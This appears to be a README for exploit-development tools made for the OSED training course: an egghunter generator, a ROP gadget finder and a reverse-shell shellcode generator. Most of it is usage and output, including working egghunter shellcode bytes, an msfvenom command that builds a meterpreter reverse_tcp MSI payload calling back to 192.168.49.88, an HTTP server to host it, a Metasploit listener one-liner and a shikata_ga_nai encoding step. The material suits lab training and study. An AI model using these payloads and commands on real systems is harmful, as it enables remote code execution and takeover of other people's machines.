
bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)
bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)
pip3 install keystone-engine numpy
requires keystone-engine
usage: egghunter.py [-h] [-t TAG] [-b BAD_CHARS [BAD_CHARS ...]] [-s]
Creates an egghunter compatible with the OSED lab VM
optional arguments:
-h, --help show this help message and exit
-t TAG, --tag TAG tag for which the egghunter will search (default: c0d3)
-b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
space separated list of bad chars to check for in final egghunter (default: 00)
-s, --seh create an seh based egghunter instead of NtAccessCheckAndAuditAlarm
generate default egghunter
./egghunter.py
[+] egghunter created!
[=] len: 35 bytes
[=] tag: c0d3c0d3
[=] ver: NtAccessCheckAndAuditAlarm
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
generate egghunter with w00tw00t tag
./egghunter.py --tag w00t
[+] egghunter created!
[=] len: 35 bytes
[=] tag: w00tw00t
[=] ver: NtAccessCheckAndAuditAlarm
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
generate SEH-based egghunter while checking for bad characters (does not alter the shellcode, that's to be done manually)
./egghunter.py -b 00 0a 25 26 3d --seh
[+] egghunter created!
[=] len: 69 bytes
[=] tag: c0d3c0d3
[=] ver: SEH
egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"
Finds and categorizes useful gadgets. Only prints to terminal the cleanest gadgets available (minimal amount of garbage between what's searched for and the final ret instruction). All gadgets are written to a text file for further searching.
today (3 june 2021) i found that ropper (and also ROPGadget) fail to find a gadget that rp++ finds (this led me to have a hard time with challenge #2, as there was an add gadget that ropper simply didn't see).
Since find-gadgets uses the ropper api, I updated find-gadgets to also pull in rp++ gadgets. Currently, the rp++ gadgets that ropper didn't find are added to the 'all gadgets' file (found-gadgets.txt by default), and aren't categorized in the 'clean gadgets' file (found-gadgets.txt.clean by default). So, the coverage is there, just not well integrated. I may or may not revisit it and get the rp++ output categorized as well.
usage: find-gadgets.py [-h] -f FILES [FILES ...] [-b BAD_CHARS [BAD_CHARS ...]] [-o OUTPUT]
Searches for clean, categorized gadgets from a given list of files
optional arguments:
-h, --help show this help message and exit
-f FILES [FILES ...], --files FILES [FILES ...]
space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000))
-b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
space separated list of bad chars to omit from gadgets, e.g., 00 0a (default: empty)
-o OUTPUT, --output OUTPUT
name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt)
find gadgets in multiple files (one is loaded at a different offset than what the dll prefers) and omit 0x0a and 0x0d from all gadgets

requires keystone-engine
Creates reverse shell with optional msi loader
usage: shellcode.py [-h] [-l LHOST] [-p LPORT] [-b BAD_CHARS [BAD_CHARS ...]] [-m] [-d] [-t] [-s]
Creates shellcodes compatible with the OSED lab VM
optional arguments:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST
listening attacker system (default: 127.0.0.1)
-p LPORT, --lport LPORT
listening port of the attacker system (default: 4444)
-b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
space separated list of bad chars to check for in final egghunter (default: 00)
-m, --msi use an msf msi exploit stager (short)
-d, --debug-break add a software breakpoint as the first shellcode instruction
-t, --test-shellcode test the shellcode on the system
-s, --store-shellcode
store the shellcode in binary format in the file shellcode.bin
❯ python3 shellcode.py --msi -l 192.168.49.88 -s
[+] shellcode created!
[=] len: 251 bytes
[=] lhost: 192.168.49.88
[=] lport: 4444
[=] break: breakpoint disabled
[=] ver: MSI stager
[=] Shellcode stored in: shellcode.bin
[=] help:
Create msi payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.88 LPORT=443 -f msi -o X
Start http server (hosting the msi file):
sudo python -m SimpleHTTPServer 4444
Start the metasploit listener:
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.49.88; set LPORT 443; exploit"
Remove bad chars with msfvenom (use --store-shellcode flag):
cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode